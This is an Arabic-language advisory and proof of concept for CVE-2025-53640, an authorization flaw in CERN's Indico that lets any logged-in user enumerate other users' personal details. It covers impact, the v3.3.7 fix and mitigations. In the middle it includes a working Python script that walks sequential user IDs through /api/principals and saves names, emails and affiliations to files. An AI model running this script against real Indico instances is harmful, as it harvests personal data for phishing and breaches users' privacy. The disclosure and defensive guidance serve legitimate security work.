
يؤدي كسر التفويض على مستوى الكائنات (BOLA) في Indico التابع لـ CERN إلى تعداد المستخدمين المُصادَق عليهم.
PoC وتحليل تقني لـ CVE-2025-53640: ثغرة من نوع Broken Object Level Authorization (BOLA) في Indico تتيح تعداد المستخدمين الموثّقين عبر نقطة النهاية، مما يكشف الأسماء وعناوين البريد الإلكتروني والانتماءات. يتضمن سكربت الاستغلال وتحليل الطلبات ولقطات شاشة. تؤثر على نسخ Indico المنتشرة عالميًا (المنظمة الأوروبية للأبحاث النووية (CERN)، الأمم المتحدة (UN)، معهد ماساتشوستس للتكنولوجيا (MIT)، وكالة الفضاء الأوروبية (ESA)، وغيرها).
ثغرة من نوع Broken Object Level Authorization (BOLA) في التطبيق مفتوح المصدر Indico تسمح بتعداد جماعي للمستخدمين عبر نقطة النهاية.
هذه النقطة، التي صُممت في الأساس لحل معرّفات المستخدمين في حقول نماذج محددة، يمكن إساءة استخدامها لاسترجاع التفاصيل الشخصية لأي معرّف مستخدم صالح:
الاسم الكامل
عنوان البريد الإلكتروني
اللقب
الانتماء
رابط الصورة الرمزية
تم الإبلاغ عن الثغرة وأقرّ بها القائمون على صيانة Indico، وهي متتبَّعة رسميًا باسم CVE-2025-53640
مطلوب جلسة مصادقة صالحة.
لكن معظم نسخ Indico العامة تسمح بالتسجيل الذاتي دون التحقق من البريد الإلكتروني أو CAPTCHA أو موافقة يدوية.
هذا يجعل الثغرة قابلة للاستغلال عمليًا من قبل مستخدمين غير مصادَق عليهم بعد إنشاء حساب بسيط.
Indico هو نظام أساسي واسع الانتشار لإدارة الفعاليات والمؤتمرات، طوّره CERN (المنظمة الأوروبية للأبحاث النووية)، ويشغّل البنية التحتية الأكاديمية والمؤسسية عالميًا:
CERN (المنظمة الأوروبية للأبحاث النووية): أكثر من 900,000 فعالية سنويًا؛ أكثر من 200 قاعة محجوزة يوميًا.
عالميًا: حوالي 145,000 فعالية سنويًا عبر أكثر من 300 مؤسسة.
UN (الأمم المتحدة): أكثر من 180,000 مشارك سنويًا.
UNOG (مكتب الأمم المتحدة في جنيف): ما يصل إلى 700,000 مستخدم سنويًا.
تُستخدم على نطاق واسع من قبل الجامعات والمختبرات ومعاهد البحوث والوكالات الحكومية.
أمثلة على النسخ العامة المتأثرة:
ونظرًا لانتشارها الواسع في البيئات العلمية والأكاديمية والحكومية، تشكّل هذه الثغرة مخاطر جسيمة:
تسرّب هويات الباحثين والموظفين والمشرفين
انتهاكات خصوصية واسعة النطاق وكشف الأدلة المؤسسية
استطلاع موجّه لعمليات التصيد أو الهندسة الاجتماعية
احتمال المساس بمبادرات بحثية وسياساتية حساسة
كشف البيانات الشخصية (PII)
تعداد المستخدمين ذوي الامتيازات العالية (المشرفون، المنظمون)
دعم عمليات التصيد الجماعي والتصيد الموجّه (spear-phishing)
مخالفة اللوائح مثل GDPR وLGPD والسياسات المؤسسية الداخلية
قد يشكّل خرقًا يستوجب الإبلاغ اعتمادًا على الاختصاص القضائي
تم إصلاح المشكلة في Indico v3.3.7.
وفقًا للقائمين على الصيانة، تم تعديل سلوك نقطة النهاية لمنع التفريغ الجماعي لبيانات المستخدمين (الاسم والانتماء والبريد الإلكتروني) عبر معرّفات يمكن تخمينها. كما تمت إضافة علامة إعداد جديدة ALLOW_PUBLIC_USER_SEARCH.
تشمل الإجراءات التخفيفية الإضافية:
تقييد فحوصات البريد الإلكتروني أثناء التسجيل
تعطيل حل روابط الأشخاص عند تعطيل البحث العام
إضافة تحذيرات في الواجهة للفعاليات التي لا تحتوي على قائمة تحكم بالوصول (ACL) عند تفعيل البحث المقيد
#!/usr/bin/env python3
import requests
import json
import csv
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = "https://indico.<URL>/api/principals"
headers = {
"Cookie": "indico_session=YOUR_SESSION_COOKIE_HERE",
"Content-Type": "application/json",
"X-Csrf-Token": "YOUR_CSRF_TOKEN_HERE"
}
def enumerate_users(max_errors=10):
user_id = 1
errors = 0
results = []
while errors < max_errors:
payload = {"values": [f"User:{user_id}"]}
response = requests.post(url, headers=headers, data=json.dumps(payload), verify=False)
if response.status_code == 200:
data = response.json()
key = f"User:{user_id}"
if key in data and not data[key].get("invalid", True):
user = data[key]
print(f"[+] ID {user_id}: {user['first_name']} {user['last_name']} - {user['email']}")
results.append({
"user_id": user_id,
"name": f"{user['first_name']} {user['last_name']}",
"email": user["email"],
"affiliation": user["affiliation"],
"title": user["title"],
"avatar_url": user["avatar_url"]
})
errors = 0
else:
print(f"[-] ID {user_id}: Invalid")
errors += 1
else:
print(f"[!] ID {user_id}: HTTP Error {response.status_code}")
errors += 1
user_id += 1
with open("enumerated_users.json", "w", encoding="utf-8") as jf:
json.dump(results, jf, indent=2, ensure_ascii=False)
with open("enumerated_users.csv", "w", newline="", encoding="utf-8") as cf:
writer = csv.DictWriter(cf, fieldnames=["user_id", "name", "email", "affiliation", "title", "avatar_url"])
writer.writeheader()
writer.writerows(results)
print("Enumeration finished.")
if __name__ == "__main__":
enumerate_users()
تقييد الوصول إلى نقطة النهاية بناءً على الدور أو السياق
تعيين ALLOW_PUBLIC_USER_SEARCH = false في indico.conf
قصر حقول المستخدم المكشوفة على الضروري فقط
تعطيل أو تقييد التسجيل الذاتي (مثل التحقق من البريد الإلكتروني، موافقة المشرف)
تفعيل المراقبة وتحديد المعدل (rate-limiting) على نقطة النهاية
الترقية إلى Indico 3.3.7 أو أحدث فورًا
مراقبة سجلات الوصول بحثًا عن أنماط التعداد
المعرف الرسمي: CVE-2025-53640
تم اكتشاف هذه الثغرة أثناء تقييم أمني أُجري ضمن برنامج Red Team Residency Program في RNP (Rede Nacional de Ensino e Pesquisa – البرازيل).
تم تنفيذ جميع البحوث والاختبارات بتفويض وإشراف مسبقين. شكر خاص لفريق RNP Security Team لتقديمهم التوجيه الأخلاقي والدعم التقني.
تؤكد هذه الـ CVE على أهمية فرض تحكم صارم في الوصول على مستوى الكائنات في المنصات التي تدير بيانات مؤسسية حساسة.